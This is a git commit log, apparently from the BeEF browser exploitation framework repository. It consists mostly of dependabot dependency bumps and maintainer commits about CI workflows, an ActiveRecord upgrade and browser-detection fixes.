Bump jsdoc-to-markdown from 9.0.5 to 9.1.1
2024-12-22 23:10:33 +00:00
dependabot[bot]
b6d5df2216 Bump jsdoc-to-markdown from 9.0.5 to 9.1.1
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.0.5 to 9.1.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.0.5...v9.1.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:04:41 +00:00
github-actions[bot]
aa52603708 Merge pull request #3230 from beefproject/dependabot/bundler/selenium-webdriver-4.27.0
Bump selenium-webdriver from 4.26.0 to 4.27.0
2024-11-27 08:09:57 +00:00
dependabot[bot]
9c0db4cd89 Bump selenium-webdriver from 4.26.0 to 4.27.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.26.0 to 4.27.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.26.0...selenium-4.27.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-26 13:20:13 +00:00
github-actions[bot]
4a2280116d Merge pull request #3223 from beefproject/dependabot/bundler/rdoc-6.8.1
Bump rdoc from 6.7.0 to 6.8.1
2024-11-21 05:43:02 +00:00
dependabot[bot]
afa8eeda6c Bump rdoc from 6.7.0 to 6.8.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.7.0 to 6.8.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.7.0...v6.8.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-21 05:42:49 +00:00
github-actions[bot]
d2d63c4240 Merge pull request #3221 from beefproject/dependabot/bundler/json-2.8.2
Bump json from 2.8.1 to 2.8.2
2024-11-21 05:39:21 +00:00
dependabot[bot]
da65882a83 Bump json from 2.8.1 to 2.8.2
Bumps [json](https://github.com/ruby/json) from 2.8.1 to 2.8.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.8.1...v2.8.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-21 05:39:06 +00:00
zinduolis
b076783753 Merge pull request #3227 from beefproject/revert-3226-add_enable_auto_merge
Revert "Add enable auto merge to dependabot yml"
2024-11-21 15:24:34 +10:00
zinduolis
aeaafb5e27 Revert "Add enable auto merge to dependabot yml" 2024-11-21 15:21:38 +10:00
zinduolis
d85e14c1e6 Merge pull request #3226 from zinduolis/add_enable_auto_merge
Add enable auto merge to dependabot yml
2024-11-21 15:16:54 +10:00
zinduolis
355ee93608 Add enable auto merge to dependabot yml 2024-11-21 15:10:22 +10:00
zinduolis
bbeb8cd063 Merge pull request #3225 from zinduolis/quick_fix_dependabot_auto
Update merge target branch for dependabot
2024-11-21 14:56:09 +10:00
zinduolis
fd117dada2 Update merge target branch for dependabot 2024-11-21 14:52:22 +10:00
zinduolis
912a9aa7c0 Merge pull request #3224 from zinduolis/dependabot_automerge_v2
Automate dependabot merging
2024-11-21 14:44:21 +10:00
zinduolis
dca48fae4e Automate dependabot merging 2024-11-21 14:38:36 +10:00
zinduolis
33717fcc9f Merge pull request #3210 from zinduolis/automate_browserstack_3206
Update GitHub Actions not to require approval to run auto tests (#3206)
2024-11-08 21:40:13 +10:00
zinduolis
2f4e5fdf09 Production ready github_actions.yml 2024-11-08 21:33:08 +10:00
zinduolis
5d7f6372b6 Test gh workflow without approval 2024-11-08 21:14:11 +10:00
zinduolis
4648d9a97c Merge pull request #3209 from beefproject/dependabot/bundler/json-2.8.1
Bump json from 2.7.6 to 2.8.1
2024-11-08 19:36:57 +10:00
dependabot[bot]
49401c4175 Bump json from 2.7.6 to 2.8.1
Bumps [json](https://github.com/ruby/json) from 2.7.6 to 2.8.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.6...v2.8.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-07 13:30:49 +00:00
zinduolis
f6d0115625 Merge pull request #3183 from zinduolis/3182_Resubmit_PR 2024-11-07 07:11:50 +10:00
zinduolis
18f2d6d396 Merge branch '3182_Resubmit_PR' of https://github.com/zinduolis/beef into 3182_Resubmit_PR 2024-11-06 19:51:19 +10:00
zinduolis
f383da04b6 Allow for four digit segments 2024-11-06 19:50:45 +10:00
zinduolis
e612a24c1b Improve security of browser version matching regex 2024-11-06 19:50:45 +10:00
zinduolis
ad23184646 Reapply "Merge branch 'pr/zinduolis/3149-3'"
This reverts commit 074efc7de6.
2024-11-06 19:50:45 +10:00
zinduolis
41f04d17ea Merge pull request #3205 from beefproject/dependabot/bundler/json-2.7.6
Bump json from 2.7.5 to 2.7.6
2024-11-06 19:32:50 +10:00
dependabot[bot]
c1126bf0c8 Bump json from 2.7.5 to 2.7.6
Bumps [json](https://github.com/ruby/json) from 2.7.5 to 2.7.6.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.5...v2.7.6)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-06 09:27:32 +00:00
zinduolis
66e234e630 Merge pull request #3195 from beefproject/dependabot/bundler/sqlite3-2.2.0
Bump sqlite3 from 1.7.3 to 2.2.0
2024-11-06 15:25:16 +10:00
dependabot[bot]
504985092c Bump sqlite3 from 1.7.3 to 2.2.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.3 to 2.2.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.3...v2.2.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-06 05:10:53 +00:00
zinduolis
3136718897 Merge pull request #3202 from zinduolis/activerecord_upgrade_to_7_2
Upgrade activerecord to 7.2 and refactor code for new version
2024-11-06 15:09:52 +10:00
zinduolis
17fb0cf602 Merge branch 'activerecord_upgrade_to_7_2' of https://github.com/zinduolis/beef into activerecord_upgrade_to_7_2 2024-11-06 14:47:00 +10:00
zinduolis
5205c33535 Resolving merge conflicts 2024-11-06 14:44:04 +10:00
zinduolis
fb211c2d58 Revert one more gh action change 2024-11-06 14:43:04 +10:00
zinduolis
f7b052572e Revert gh action update 2024-11-06 14:43:04 +10:00
zinduolis
b80b0ff9b1 Update gh action to run of workflow code in PR 2024-11-06 14:43:04 +10:00
zinduolis
32ad62fa77 Remove version from gh action 2024-11-06 14:43:04 +10:00
zinduolis
23b8e891ad Add current version of ruby for automated testing 2024-11-06 14:42:17 +10:00
zinduolis
5bd0752deb Resolving merge conflicts 2024-11-06 14:41:57 +10:00
zinduolis
05ba4b832b Merge branch 'activerecord_upgrade_to_7_2' of https://github.com/zinduolis/beef into activerecord_upgrade_to_7_2 2024-11-06 14:34:40 +10:00
zinduolis
752ab1c27a Revert one more gh action change 2024-11-06 14:34:26 +10:00
zinduolis
15c091e91e Revert gh action update 2024-11-06 14:28:26 +10:00
zinduolis
ce528f1f4e Update gh action to run of workflow code in PR 2024-11-06 14:27:19 +10:00
zinduolis
a62cb63d9c Upgrade activerecord to 7.2 and refactor code for new version 2024-11-06 14:21:24 +10:00
zinduolis
150f0651de Merge pull request #3204 from zinduolis/update_gh_actions
Update GitHub workflow for Browserstack testing
2024-11-06 08:14:41 +10:00
zinduolis
8183a07e67 Update checkout and ruby versions 2024-11-05 20:19:31 +10:00
zinduolis
29db262453 Revert one more gh action change 2024-11-05 20:11:21 +10:00
zinduolis
e1a4716ed0 Revert gh action update 2024-11-05 20:09:15 +10:00
zinduolis
bb7e145c32 Update gh action to run of workflow code in PR 2024-11-05 19:58:39 +10:00
zinduolis
8b5fdcfc4d Merge pull request #3203 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.0.5
Bump jsdoc-to-markdown from 9.0.4 to 9.0.5
2024-11-05 19:17:20 +10:00
dependabot[bot]
6252342791 Bump jsdoc-to-markdown from 9.0.4 to 9.0.5
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.0.4 to 9.0.5.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.0.4...v9.0.5)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-04 13:51:05 +00:00
zinduolis
2ce3ad755f Update checkout action to the current version 2024-11-04 19:11:23 +10:00
zinduolis
45b61e9b5c Remove version from gh action 2024-11-04 18:43:33 +10:00
zinduolis
4043f46b08 Add current version of ruby for automated testing 2024-11-04 18:27:17 +10:00
zinduolis
752717301e Upgrade activerecord to 7.2 and refactor code for new version 2024-11-04 15:56:25 +10:00
zinduolis
59b33066ee Merge pull request #3196 from beefproject/dependabot/bundler/rubocop-1.68.0
Bump rubocop from 1.67.0 to 1.68.0
2024-11-01 14:36:28 +10:00
dependabot[bot]
e75022daa5 Bump rubocop from 1.67.0 to 1.68.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.67.0 to 1.68.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.67.0...v1.68.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-31 13:39:10 +00:00
zinduolis
63513f87bc Merge pull request #3191 from beefproject/dependabot/bundler/json-2.7.5
Bump json from 2.7.4 to 2.7.5
2024-10-31 16:39:54 +10:00
dependabot[bot]
8e4a754c3e Bump json from 2.7.4 to 2.7.5
Bumps [json](https://github.com/ruby/json) from 2.7.4 to 2.7.5.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.4...v2.7.5)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-31 06:35:38 +00:00
zinduolis
ced9bb3c3b Merge pull request #3192 from beefproject/dependabot/bundler/selenium-webdriver-4.26.0
Bump selenium-webdriver from 4.25.0 to 4.26.0
2024-10-31 16:34:39 +10:00
dependabot[bot]
6ebf8d6263 Bump selenium-webdriver from 4.25.0 to 4.26.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.25.0 to 4.26.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.25.0...selenium-4.26.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 13:16:57 +00:00
zinduolis
aed85df393 Merge pull request #3166 from beefproject/dependabot/bundler/otr-activerecord-2.4.0
Bump otr-activerecord from 2.2.0 to 2.4.0
2024-10-30 15:24:58 +10:00
dependabot[bot]
9e4374aeee Bump otr-activerecord from 2.2.0 to 2.4.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.2.0 to 2.4.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.2.0...v2.4.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 05:20:01 +00:00
zinduolis
362cff215d Merge pull request #3178 from beefproject/dependabot/bundler/execjs-2.10.0
Bump execjs from 2.9.1 to 2.10.0
2024-10-30 15:18:48 +10:00
dependabot[bot]
7f41338e06 Bump execjs from 2.9.1 to 2.10.0
Bumps [execjs](https://github.com/rails/execjs) from 2.9.1 to 2.10.0.
- [Release notes](https://github.com/rails/execjs/releases)
- [Commits](https://github.com/rails/execjs/compare/v2.9.1...v2.10.0)

---
updated-dependencies:
- dependency-name: execjs
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 05:13:40 +00:00
zinduolis
8d1693cc6c Merge pull request #3181 from beefproject/dependabot/bundler/json-2.7.4
Bump json from 2.7.2 to 2.7.4
2024-10-30 15:06:52 +10:00
dependabot[bot]
e9371c2ed6 Bump json from 2.7.2 to 2.7.4
Bumps [json](https://github.com/ruby/json) from 2.7.2 to 2.7.4.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.2...v2.7.4)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 05:01:41 +00:00
zinduolis
092a277f94 Merge pull request #3185 from beefproject/dependabot/bundler/rexml-3.3.9
Bump rexml from 3.3.8 to 3.3.9
2024-10-30 15:00:21 +10:00
dependabot[bot]
96563d5901 Bump rexml from 3.3.8 to 3.3.9
Bumps [rexml](https://github.com/ruby/rexml) from 3.3.8 to 3.3.9.
- [Release notes](https://github.com/ruby/rexml/releases)
- [Changelog](https://github.com/ruby/rexml/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/rexml/compare/v3.3.8...v3.3.9)

---
updated-dependencies:
- dependency-name: rexml
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 04:57:05 +00:00
zinduolis
f0b0b7fbfd Merge pull request #3164 from beefproject/dependabot/bundler/rack-2.2.10
Bump rack from 2.2.9 to 2.2.10
2024-10-30 14:54:51 +10:00
dependabot[bot]
864336aa46 Bump rack from 2.2.9 to 2.2.10
Bumps [rack](https://github.com/rack/rack) from 2.2.9 to 2.2.10.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.9...v2.2.10)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 04:49:07 +00:00
zinduolis
e27704d1b5 Merge pull request #3165 from beefproject/dependabot/bundler/rubocop-1.67.0
Bump rubocop from 1.66.1 to 1.67.0
2024-10-30 14:16:32 +10:00
zinduolis
147137bd15 Allow for four digit segments 2024-10-29 20:31:53 +10:00
zinduolis
6976117e9f Improve security of browser version matching regex 2024-10-29 20:20:00 +10:00
zinduolis
2cbe73a6c3 Merge remote-tracking branch 'origin/master' into 3182_Resubmit_PR 2024-10-28 21:11:03 +10:00
dependabot[bot]
ed35c2f679 Bump rubocop from 1.66.1 to 1.67.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.66.1 to 1.67.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.66.1...v1.67.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-27 22:03:30 +00:00
Stephen
4b926dff44 Merge branch 'pr/zinduolis/3176' 2024-10-28 08:02:17 +10:00
zinduolis
6744516e15 Fix debug mod data handling 2024-10-27 19:48:23 +10:00
zinduolis
7aaabe0ff7 Troubleshooting 2024-10-27 19:42:36 +10:00
zinduolis
2163e732ce Troubleshooting 2024-10-27 19:25:06 +10:00
zinduolis
f3216f16c5 Troubleshooting 2024-10-27 19:19:05 +10:00
zinduolis
3fdc5b6e2a Troubleshooting 2024-10-27 19:12:39 +10:00
zinduolis
60d30b11cc Troubleshooting 2024-10-27 19:06:39 +10:00
zinduolis
3c5f9a246a Troubleshooting 2024-10-27 18:59:10 +10:00
zinduolis
dafbef7fd8 Troubleshooting 2024-10-27 18:52:31 +10:00
zinduolis
3ba21b2a0f Troubleshooting 2024-10-27 18:45:13 +10:00
zinduolis
1fb094c545 Troubleshooting 2024-10-27 18:36:08 +10:00
zinduolis
dca1636261 Troubleshooting 2024-10-27 16:55:21 +10:00
zinduolis
b230e5a4c8 Troubleshooting 2024-10-27 16:48:56 +10:00
zinduolis
050e014e4c Troubleshooting 2024-10-27 16:41:50 +10:00
zinduolis
f816eb50b9 Troubleshooting 2024-10-27 16:37:46 +10:00
zinduolis
1cd9d0d8ad Fix another data handling issue 2024-10-27 16:32:51 +10:00
zinduolis
740d056142 Fix another data handling issue 2024-10-27 16:27:01 +10:00
zinduolis
21bb951586 Add graceful error handling for format inconsistency 2024-10-27 16:13:37 +10:00
zinduolis
590c32e66d Troubleshoot issue with test 2024-10-27 16:03:24 +10:00
Stephen
a355075389 Merge branch 'pr/zinduolis/3171' 2024-10-27 04:55:53 +10:00
zinduolis
3480fd385c Reapply "Merge branch 'pr/zinduolis/3149-3'"
This reverts commit 074efc7de6.
2024-10-26 14:53:38 +10:00
Stephen
074efc7de6 Revert "Merge branch 'pr/zinduolis/3149-3'"
This reverts commit d88439dda5, reversing
changes made to 4287153468.
2024-10-26 04:48:45 +10:00
zinduolis
1b17d3c067 Remove testing bits and fix issue with activerecord breaking change 2024-10-25 15:42:29 +10:00
Stephen
d88439dda5 Merge branch 'pr/zinduolis/3149-3' 2024-10-25 11:38:06 +10:00
zinduolis
42dcac8d9c Testing 2024-10-24 15:45:15 +10:00
zinduolis
37cca9b2a2 Testing 2024-10-24 15:40:00 +10:00
zinduolis
ac110a3c53 Test browserstack creds 2024-10-24 15:29:35 +10:00
zinduolis
b760016923 Test Browserstack credentials 2024-10-24 15:14:46 +10:00
zinduolis
4c0cbfa1e0 Merge branch 'master' into fix-cors-terminology 2024-10-23 17:04:27 +10:00
zinduolis
a5a8196792 Fix origin / domain terminology (#1688) 2024-10-23 16:07:17 +10:00
Stephen
4287153468 Update stale workflow configuration 2024-10-21 04:15:44 +10:00
zinduolis
db2eb060ab Extend browser name check with bowser-js/bowser 2024-10-18 17:39:01 +10:00
dependabot[bot]
cf95fa0143 Bump jsdoc-to-markdown from 8.0.3 to 9.0.2
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 8.0.3 to 9.0.2.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v8.0.3...v9.0.2)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-16 13:28:54 +00:00
Stephen
89ed6cce8e Resolved merge conflict in Gemfile.lock 2024-10-16 05:18:12 +10:00
Stephen
1e94201f91 Update tins gem version to 1.35.0 2024-10-16 05:07:57 +10:00
Stephen
c43179b93f Merge branch 'pr/zinduolis/3159' into veganlol-merge 2024-10-15 04:48:49 +10:00
Stephen
db28734fbc Refactor veganlol function
to cookieValueRandomizer in browser/cookie.js
2024-10-15 04:48:45 +10:00
Stephen
79c04a7376 Fix typos 2024-10-15 04:12:55 +10:00
zinduolis
6e8c5b6291 Downgrade otr-activerecord to previous working version 2.2.0 2024-10-11 20:35:39 +10:00
zinduolis
f9c74c1e60 Revert otr-activerecord from 2.4.0 back to 2.2.0 to fix broken activerecord reference 2024-10-10 09:14:53 +10:00
Stephen
924f8fac1d Update Ruby version to 3.2.2 2024-10-10 05:19:58 +10:00
zinduolis
078a87f910 Merge branch '2040_Rename_veganLol' of https://github.com/zinduolis/beef into 2040_Rename_veganLol
Merging remote changes into my branch to get the latest changes.
2024-10-08 17:10:57 +10:00
zinduolis
189e9451e0 Rename veganLol and refresh jsdocs (#2040) 2024-10-08 17:07:23 +10:00
zinduolis
a02cc1a63a Fix FF browser name discovery - extend it based on CSS element 2024-10-07 15:20:12 +10:00
Stephen
63f6db2f0c Merge branch 'dependabot/bundler/otr-activerecord-2.4.0' into bump-gems 2024-10-07 04:36:58 +10:00
Stephen
aa58b415cc Merge branch 'bump-gems' into dependabot/bundler/selenium-webdriver-4.25.0 2024-10-07 04:34:14 +10:00
Stephen
bc4763dd01 Merge branch 'bump-gems' into dependabot/bundler/uglifier-4.2.1 2024-10-07 04:26:52 +10:00
Stephen
fe46c04162 Merge branch 'bump-gems' into dependabot/bundler/irb-1.14.1 2024-10-07 04:25:07 +10:00
Stephen
fb8f6c4a35 Merge branch 'bump-gems' into dependabot/bundler/webrick-1.8.2 2024-10-07 04:22:13 +10:00
Stephen
517897a2e7 Merge branch 'bump-gems' into dependabot/bundler/mime-types-3.6.0 2024-10-07 04:20:00 +10:00
Stephen
8aa0b97268 Merge branch 'dependabot/npm_and_yarn/jsdoc-to-markdown-9.0.2' into bump-gems 2024-10-07 04:13:30 +10:00
zinduolis
6a1fdfb62c Rename veganLol and refresh jsdocs (#2040) 2024-10-04 17:30:25 +10:00
zinduolis
aa4479b517 Revert browser name check based on userAgent 2024-10-04 16:22:37 +10:00
dependabot[bot]
0fba1347f8 Bump mime-types from 3.5.2 to 3.6.0
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.5.2 to 3.6.0.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/History.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.5.2...v3.6.0)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-02 13:06:42 +00:00
zinduolis
e741748b29 Update browser version matching regex 2024-09-30 20:01:35 +10:00
dependabot[bot]
1e62e83cde Bump otr-activerecord from 2.2.0 to 2.4.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.2.0 to 2.4.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.2.0...v2.4.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-29 19:32:21 +00:00
dependabot[bot]
7a2a213c84 Bump selenium-webdriver from 4.24.0 to 4.25.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.24.0 to 4.25.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.24.0...selenium-4.25.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-29 19:32:20 +00:00
dependabot[bot]
c2231925ab Bump webrick from 1.8.1 to 1.8.2
Bumps [webrick](https://github.com/ruby/webrick) from 1.8.1 to 1.8.2.
- [Release notes](https://github.com/ruby/webrick/releases)
- [Commits](https://github.com/ruby/webrick/compare/v1.8.1...v1.8.2)

---
updated-dependencies:
- dependency-name: webrick
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-29 19:32:20 +00:00
zinduolis
330f92bc6a Fix invalid plugins condition #3051 2024-09-29 22:02:41 +10:00
dependabot[bot]
ac3dc2df59 Bump irb from 1.14.0 to 1.14.1
Bumps [irb](https://github.com/ruby/irb) from 1.14.0 to 1.14.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.14.0...v1.14.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-27 13:19:16 +00:00
zinduolis
5d7fbe162c Fix invalid version condition #3051 2024-09-27 19:38:24 +10:00
dependabot[bot]
70978f227c Bump jsdoc-to-markdown from 8.0.3 to 9.0.2
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 8.0.3 to 9.0.2.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v8.0.3...v9.0.2)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-26 13:49:49 +00:00
zinduolis
aebc9949f6 extended the existing functionality for browser name 2024-09-25 17:17:51 +10:00
zinduolis
d6dd75f23a Fix invalid browser name issue for Firefox, Chrome and Opera (#3051) 2024-09-24 15:50:36 +10:00
dependabot[bot]
cd3a7d47c9 Bump uglifier from 4.2.0 to 4.2.1
Bumps [uglifier](https://github.com/lautis/uglifier) from 4.2.0 to 4.2.1.
- [Changelog](https://github.com/lautis/uglifier/blob/master/CHANGELOG.md)
- [Commits](https://github.com/lautis/uglifier/compare/v4.2.0...v4.2.1)

---
updated-dependencies:
- dependency-name: uglifier
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-23 13:33:35 +00:00
dependabot[bot]
7cb0a39b67 Bump rubocop from 1.64.0 to 1.66.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.64.0 to 1.66.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.64.0...v1.66.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-15 19:11:13 +00:00
zinduolis
955a004506 Non breaking dependency upgrade 2024-09-13 21:23:52 +10:00
Stephen
26531fe0af Merge branch 'master' into dependabot/bundler/rdoc-6.7.0 2024-05-24 05:24:55 +10:00
dependabot[bot]
f679efb672 Bump rubocop from 1.63.4 to 1.64.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.4 to 1.64.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.4...v1.64.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-23 19:09:57 +00:00
dependabot[bot]
2b12e4875a Bump selenium-webdriver from 4.20.1 to 4.21.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.20.1 to 4.21.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-23 18:40:15 +00:00
dependabot[bot]
a3221b4c8e Bump rdoc from 6.6.3.1 to 6.7.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.6.3.1 to 6.7.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.6.3.1...v6.7.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-23 18:40:09 +00:00
Stephen
aeda7fc415 Merge branch 'bump-gems' into dependabot/bundler/rexml-3.2.8 2024-05-23 08:06:35 +10:00
Stephen
9393ba33d3 Merge branch 'bump-gems' into dependabot/bundler/nokogiri-1.16.5 2024-05-23 06:10:00 +10:00
dependabot[bot]
49b2ba3263 Bump rexml from 3.2.6 to 3.2.8
Bumps [rexml](https://github.com/ruby/rexml) from 3.2.6 to 3.2.8.
- [Release notes](https://github.com/ruby/rexml/releases)
- [Changelog](https://github.com/ruby/rexml/blob/master/NEWS.md)
